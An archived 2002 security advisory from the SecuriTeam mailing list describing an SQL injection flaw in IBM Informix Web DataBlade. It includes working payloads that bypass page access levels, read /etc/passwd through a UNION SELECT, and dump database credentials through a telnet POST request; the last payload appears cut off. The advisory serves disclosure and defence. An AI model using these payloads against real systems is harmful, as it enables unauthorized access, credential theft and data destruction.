

[NEWS] IBM Informix Web DataBlade Vulnerability Allows SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-04/0041.html>

From: support@securiteam.com

Date: 04/14/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 14 Apr 2002 22:06:17 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

IBM Informix Web DataBlade Vulnerability Allows SQL Injection

SUMMARY

The <<http://www-4.ibm.com/software/data/informix/blades/web/>> Informix Web DataBlade module is a collection of tools, functions, and examples that ease development of "intelligent", interactive, Web-enabled database applications. The Web DataBlade module supports most Web Server Application Programming Interfaces (APIs), and enables a truly interactive Web site. A security vulnerability in the product allows attackers to insert into existing SQL queries their own arbitrary content, thus compromising the integrity of the database and bypassing security measures that might have been implemented to guard certain areas of the web site.

DETAILS

Vulnerable systems:

Web DataBlade 4.12, IDS 9.20/9.21 running under Linux 2.2/2.4 or SunOS 5.7
(NOTE that the OS, IDS, and WDB versions seem to be irrelevant)

Details:

When a user makes a page request, webdriver executes a query that will both fetch and process the page. This query is vulnerable to SQL injection attacks, due to bad filtering/escaping of user input.

Securiteam: [NEWS] IBM Informix Web DataBlade Vulnerability Allows SQL Injection

Example:

Request for "<http://victim.com/site/page.html>". HTTP authentication is in use, and a correct user/passwd has been supplied (have not tested this without HTTP auth). The webdriver log reports the following query being executed:

```
SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name='page' AND path='/' AND req_level <= 100;
```

Explanation:

webexplode() invokes the page engine, returns some processed HTML. wbpages is the table storing HTML pages, and the rest is a breakdown of the request. The path is "/" not "/site/" because webdriver is configured to operate only under the (virtual) directory "/site"; that is its root directory. The .html extension is not part of the query since the extension has already been used in another query to figure out which table to fetch the page from. The value "100" is my personal "user level", which is assigned all users; when not using HTTP auth all users have a value of 0. Each page has a corresponding "page level" (req_level), thus the protection scheme is that to access a page with page level 200 you must be authenticated as a user who has a user level >= 200, or get access denied.

Webdriver fails to properly escape quotes in input data. A request string of "<http://victim.com/site/'--'/page.html>" will modify the "path" part of the query, resulting in the following SQL query being executed:

```
SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name='page' AND path='/'--' and req_level <= 100;
```

Now we get "<http://victim.com/site/page.html>", or any other page we want, regardless of our user level.

Adding a semicolon raises an error, so you cannot execute multiple queries in one operation, and so you can only modify the existing clauses, or add others that will mostly only limit, not widen, what you get. That is only until you start using UNION queries; these allow SQL of choice to be inserted.

The point is that webdriver simply expects to get a processed page (essentially just a string) and an int value back from the query. How these values are created does not matter. As long as the result contains exactly one row, having a string type column and an int type column, webdriver will return the string part to the user and be happy.

So the trick is to make the default part of the query (see above) return nothing (no rows), then add another UNION'ed query that returns the data we actually want.

The webexplode() function returns data of type "html", and since all text types can be cast'ed to "html" is easy to create a UNION select; it can simply return any text type plus an int type. Consider:

Securiteam: [NEWS] IBM Informix Web DataBlade Vulnerability Allows SQL Injection

```
http://victim.com/site/' UNION ALL SELECT  
FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username =  
USER ---/html
```

This will get you:

```
SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name=" AND  
path='/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM  
sysusers WHERE username = USER ---' and req_level <= 100;
```

The first part of the query returns no rows (as long as <http://victim.com/site/.html> does not exist). The second part will read /etc/passwd and return it as the HTML page.

The clause "FROM sysusers WHERE username=USER" is a dummy; there must be a FROM clause, and it must produce exactly one row.

This hole is still not fully exploited. Adding a UNION'ed query restricts us to using SELECT statements; even though you can use function expressions to do file I/O it is still not the same as being able to execute INSERT, UPDATE, CREATE, DROP etc. So we go looking for a way to execute entirely standalone SQL statements ... and we find the immediate solution is the webexplode() function, which is by definition available since we are running Web DataBlade. It takes as parameter some text and a list of environment variables. The first parameter is AppPage code (HTML code with embedded queries and ugly programming constructs) which is interpreted by webexplode(). webexplode() processes HTML code with embedded SQL.

The above request is a plain GET request that can be typed into the address bar of a browser. However, there is a limit on the query size, so we want to use POST instead. The following retrieves an HTML formatted list of all database users and passwords (may be encrypted depending on setup); substitute with any SQL (INSERT, UPDATE, DROP, etc):

```
> telnet victim.com 80  
Trying x.x.x.x...  
Connected to victim.com.  
Escape character is '^]'.  
POST /site/ HTTP/1.0  
Content-Length: 215  
Content-Type: application/x-www-form-urlencoded
```

```
Mlval='/UNION%20SELECT%20webexplode('<html><body><table><?MISQL%20SQL=%22SELECT%20*%20FF  
[ENTER]
```

Similar bugs:

The query exploited here is only the one used to fetch a page from the database. If the site were password protected you would need a valid login/pass to even get to the point where the page query is executed. The HTTP authentication is carried out by webdriver, which means it makes a query for the provided username and password. Not surprisingly, this query

Securiteam: [NEWS] IBM Informix Web DataBlade Vulnerability Allows SQL Injection

is also buggy. Therefore, instead of spoofing the URL you could simply add quote tricks to the username provided. There are some problems with this approach however:

- We have not found the exact username/password query in any logs, so it is hard to say what exactly the query expects. We have just seen the log emitting errors when putting quotes in the username.
- Authentication info may be cached depending on configuration, which might mean that the query is not executed (not tested).

Impact:

SQL code is executed under the uid that webdriver connects as. This implies file access and database manipulation. The webdriver user should be a dedicated, non-privileged user, but in real life, it is often not. Both "root" and "informix" have been seen in use, and the attacker will thus get much more privileges.

ADDITIONAL INFORMATION

The information has been provided by <mailto:simonl@mirrormind.com> Simon Lodal.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] IBM Informix Web DataBlade Vulnerable to Auto-decoding of HTML Entities"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)